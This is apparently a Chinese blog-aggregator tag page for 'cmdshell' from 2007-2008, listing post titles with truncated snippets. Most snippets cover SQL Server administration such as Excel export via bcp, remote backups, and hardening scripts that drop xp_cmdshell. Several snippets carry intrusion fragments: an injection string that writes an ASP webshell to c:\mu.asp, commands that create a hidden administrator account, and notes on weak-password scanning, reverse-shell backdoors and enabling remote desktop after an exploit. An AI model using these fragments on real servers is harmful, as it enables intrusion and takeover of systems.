cmdshell

SQL语句导入导出大全

导读： 　　关键字 SQL语句导入导出大全 　　出处 　　/******* 导出到excel 　　EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu
wapysun·2008-06-20 10:00

包调用

按照向导,为每一个参数赋予值,就可以了)一般用于测试B:包调用这个也有相关书籍介绍，笔者略C:存储过程调用CREATE PROCEDURE my_proc1 ASEXEC master.dbo.xp_cmdshell
blog.Toby·2008-06-18 13:00

SQL语句导入导出大全

/*******  导出到excel  EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu&
seawavecau·2008-06-16 17:00

uniERP服务端架设

2.在SQL企业管理器-安全性-登录中创建unierp用户 3.在master扩展存储过程中找到xp_cmdshell,xp_regread,xpregwrite三个存储过程，附给unierp用户权限。
hukanghua·2008-06-16 09:51

Do All in Cmd Shell一切在命令行下完成第1/6页

文件传输对于溢出漏洞获得的cmdshell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。
·2008-06-14 19:23

SQL Server2005如何用dtexec运行ssis(DTS)包

一 首先在Business Intelligence中设计好包,并调试通过 二 选用dtexec工具运行包 (一) 打开 xp_cmdshell 选项 SQL Server 2005 中引入的 xp_cmdshell
izuoyan·2008-06-13 17:00

网管常用的网络命令集合

我们在Windows2000的cmdshell下，输入netsh就出来：netsh>提示符，输入intip就显示：interfaceip>然后输入dump，我们就可以看到当前系统的网络配置：#-----
·2008-06-04 08:05

sql

textcopy（后两个在SQL2000里面有） 步骤：1、用X-Scan扫描到有sql弱口令的主机 2、用查询分析器连上去检查sql的版本号：select @@version检查能否运行程序：exec xp_cmdshell
gui1401·2008-05-30 17:00

网管必读-常用网络命令

我们在Windows2000的cmdshell下，输入netsh就出来：netsh>提示符，输入intip就显示：interfaceip>然后输入dump，我们就可以看到当前系统的网络配置
qq913089322·2008-05-30 04:57

反向连接后门的使用

这是一个反向连接的源程序通过对这个程序的研究我可以知道一个cmdshell是怎么建立并实现的这是一个单管道的程序为此我还专门看了一下书中所讲的零管道和双管道用瑞士军刀进行监听最后得到一个cmdshell
djyangmaowei·2008-05-29 14:00

SQL server 数据库危险存储过程删除与恢复

SQL的扩展的删除与恢复删除usemasterexecsp_dropextendedproc'xp_cmdshell'execsp_dropextendedproc'xp_dirtree'execsp_dropextendedproc'xp_enumgroups'execsp_dropextendedproc'xp_fixeddrives'execsp_dropextendedproc'xp_lo
simeon2005·2008-05-18 08:41

SQL server 数据库危险存储过程删除与恢复

 SQL的扩展的删除与恢复删除usemasterexecsp_dropextendedproc'xp_cmdshell'execsp_dropextendedproc'xp_dirtree'execsp_dropextendedproc'xp_enumgroups'execsp_dropextendedproc'xp_fixeddrives'execsp_dropextendedproc'xp_l
simeon2005·2008-05-18 08:41

sql代码收集

在查询中添加用户execxp_cmdshell'netusertesttest2005/add'execxp_cmdshell'netlocalgroupadministrators test /add'execxp_cmdshell'netlocalgroupuserstest
simeon2005·2008-05-18 08:51

sql代码收集

在查询中添加用户execxp_cmdshell'netusertesttest2005/add'execxp_cmdshell'netlocalgroupadministratorstest/add'execxp_cmdshell'netlocalgroupuserstest
simeon2005·2008-05-18 08:51

SQL语句导入导出EXCEL

注意：在xp_cmdshell后面的SQL语句不允许换行。
rockyvan·2008-05-17 11:00

不用xp_cmdshell照样执行命令

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠，不过需要猜一下系统路径nt/2k:x:\winnt\system32\xp/2003:x:\windows\system32\
·2008-05-15 22:49

ASP注入详细命令40条第1/2页

keyno=1881;execmaster.dbo.xp_cmdshell'echo^executerequest^("l"^)^>c:\mu.asp';--echo^>c:\mu.asp2、显示SQL
·2008-05-05 12:51

sqlserver 异地备份

--备份环境:把数据库服务器(192.168.1.8)的数据库(TEST)备份到(192.168.1.145)的C$下--首先,做一个与客户端的映射execmaster..xp_cmdshell'netusez
lanwilliam·2008-05-04 16:00

在 SQL Server 中将 SELECT 语句的结果导出到文件的方法

exec master..xp_cmdshell'bcp "SELECT* FROM tablename" queryout "C:\test.txt" -T -
talin2010·2008-04-17 19:00

在 SQL Server 中将 SELECT 语句的结果导出到文件的方法

exec master..xp_cmdshell'bcp "SELECT* FROM tablename" queryout "C:\test.txt" -T -
isiqi·2008-04-17 19:00

用存储过程搞定服务器

sqltool连上之后发现怎么也不能执行DOS命令郁闷了今天突然想到可以用存储过程来搞定这个服务器~首先在本地用sqlserver的查询分析器连上他权限当然是SA啦但是在执行execmaster.dbo.xp_cmdshell'netuser
·2008-04-13 10:00

SQL Server与Excel、Access数据互导

1、SQLServer导出为Excel：要用T-SQL语句直接导出至Excel工作薄，就不得不用借用SQLServer管理器的一个扩展存储过程：xp_cmdshell，此过程的作用为“以操作系统命令行解释器的方式执行给定的命令字符串
wapysun·2008-04-12 13:00

Sql2005如何用dtexec运行ssis(DTS)包

Sql2005如何用dtexec运行ssis(DTS)包一首先在BusinessIntelligence中设计好包,并调试通过二选用dtexec工具运行包(一)打开xp_cmdshell选项SQLServer2005
Reasoncool·2008-04-11 13:00

"Any2Bat"一个把任何文件转成批处理的脚本

echo版的好处是，全选复制粘贴到cmdshell里就把文件上传了。 
51yoo·2008-04-05 22:53

SQL语句导入导出大全

--1.excel--------------------------------- 导出到excelEXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu
evenbing·2008-03-20 22:00

Sql Server 2005 常用数据库配置

1、SQL SERVER 2005开启xp_cmdshell的方法 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure
junmail·2008-03-03 17:00

Sql Server 2005 常用数据库配置

1、SQL SERVER 2005开启xp_cmdshell的方法 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure
junmail·2008-03-03 17:00

Sql Server 2005 常用数据库配置

1、SQL SERVER 2005开启xp_cmdshell的方法 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure
junmail·2008-03-03 17:00

安全加固--删除SQL脚本扩展

删除了调用shell，注册表，COM组件的破坏权限usemasterEXECsp_dropextendedproc'xp_cmdshell'EXECsp_dropextendedproc'Sp_OACreate'EXECsp_dropextendedproc'Sp_OADestroy'EXECsp_dropextendedproc'Sp_OAG
fangtang·2008-02-25 10:35

sql server注入建立虚拟目录的方法

execmaster.dbo.xp_cmdshell'cscriptC:\Interpub\AdminScripts\mkwebdir.vbs-clocalhost-w"l"-v"win","c:\winnt
·2008-01-20 15:13

sa 无xp_cmdshell下取权限又一简单方法

 sa无xp_cmdshell下取权限又一简单方法收藏导读：在用execsp_oacreate'wscript.shell'也没办法的情况下。。
linkboy·2008-01-13 19:00

sa 无xp_cmdshell下取权限又一简单方法

 sa无xp_cmdshell下取权限又一简单方法收藏导读：在用execsp_oacreate'wscript.shell'也没办法的情况下。。
linkboy·2008-01-13 19:00

通过Sql Server更改远程服务器系统日期和时间

系统时间老是会被改为2005年的某一日期，远程登录和远程控制有问题，后终于找到一个方法，就是可以通过SQLServer来达到目的：//通过查询分析器登录到服务器上后，执行：master.dbo.xp_cmdshell
zyxlsh·2008-01-03 10:00

Cmd的终极防守

大多数的入侵都是在cmd下完成的，比较典型的有溢出得到一个system权限的cmdshell，然后种植一个Tcmd之类绑定了cmd.exe的后门。
太阳照常升起，我依然活着·2007-12-24 00:00

MSSQL自身存储过程的一个注入漏洞

漏洞资料如下：master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。分析：复制代码代码如下:SELECT@de
·2007-12-06 23:29

asp实现防止从外部提交数据的三种方法第1/3页

屏蔽特殊字符和关键字fqys=request.servervariables("query_string")dimnothis(18)nothis(0)="netuser"nothis(1)="xp_cmdshell"nothis
·2007-11-24 22:16

SQLServer 远程备份和恢复

--第一步: 在备份机建立共享文件夹 在程序代码中调用（或者CMD窗口） master..xp_cmdshell 'md D:\SqlBak' master..xp_cmdshell 'net share
·2007-11-22 21:00

最详细的SQL注入语句相关的命令整理1

keyno=1881;execmaster.dbo.xp_cmdshell'echo^executerequest^("l"^)^>c:/mu.asp';--   echo^>c:/mu.asp2、   
vipxiaotian·2007-11-20 10:00

恢复xp_cmdshell的N个方法

方法1:查询分离器连接后第一步执行：usemaster第二步执行：sp_dropextendedproc'xp_cmdshell'然后按F5键命令执行完毕三.常见情况恢复执行xp_cmdshell.1未能找到存储过程
blacksnow·2007-11-15 14:39

xplog70.dll删除后的恶梦。。。

前几天，心血来潮，跑服务器上执行了个脚本，删除了xp_cmdshell。。随手又把xplog70.dll也干掉了。。恶梦从此就来了。。
wyulnnhtg·2007-11-14 15:50

xplog70.dll删除后的恶梦。。。

前几天，心血来潮，跑服务器上执行了个脚本，删除了xp_cmdshell。。随手又把xplog70.dll也干掉了。。恶梦从此就来了。。
wyulnnhtg·2007-11-14 15:50

网管常用的网络命令

我们在Windows2000的cmdshell下，输入netsh就出来：netsh>提示符，输入intip就显示：interfaceip>然后输入dump，我们就可以看到当前系统的网络配置：#---
ahangtan·2007-11-02 16:55

网管常用的网络命令集

我们在Windows2000的cmdshell下，输入netsh就出来：netsh>提示符，输入intip就显示：interfaceip>然后输入dump，我们就可以看到当前系统的网络配置：#--
cl17467629·2007-10-23 11:06

最详细的SQL注入相关的命令整理

keyno=1881;execmaster.dbo.xp_cmdshell'echo^executerequest^("l"^)^>c:\mu.asp';--? 
elva·2007-10-22 09:00

使用sql语句导入/导出 数据为Excel

导出数据为excel:EXECmaster..xp_cmdshell 'bcpfsebss.dbo.Resource_GoodsTypeoutc:/temp1.xls-c-q-S"YYSOFT-468ER27V
hk8846·2007-10-15 16:00

CMDSHELL下利用VBS查看3389端口

Echo Dim ReadComputerName >>port.vbsEcho Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbsEcho Dim TSName,TSRegPath >>port.vbsEcho TSRegPath="HKLM\System\CurrentControlSet\Control\
simeon2005·2007-10-15 15:08

CMDSHELL下利用VBS查看3389端口

EchoDimReadComputerName>>port.vbsEchoSetReadComputerName=WScript.CreateObject("WScript.Shell")>>port.vbsEchoDimTSName,TSRegPath>>port.vbsEchoTSRegPath="HKLM\System\CurrentControlSet\Control\TerminalSe
simeon2005·2007-10-15 15:08

CMD下开启2003的3389

但是当我们溢出成功后，返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务，那我们直接加一个用户，再添加进管理员组，就可以登录服务器了。
bekilledlzy·2007-10-10 00:00

SQL语句导入导出大全

SQL语句导入导出大全       /*******  导出到excel EXEC master..xp_cmdshell
·2007-10-06 10:00

网管常用的网络命令集

我们在Windows2000的cmdshell下，输入netsh就出来：netsh>提示符，输入intip就显示：interfaceip>然后输入dump，我们就可以看到当前系统的网络配置：#--
mumu521·2007-10-05 02:36
上一页 18 19 20 21 22 23 24 25 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他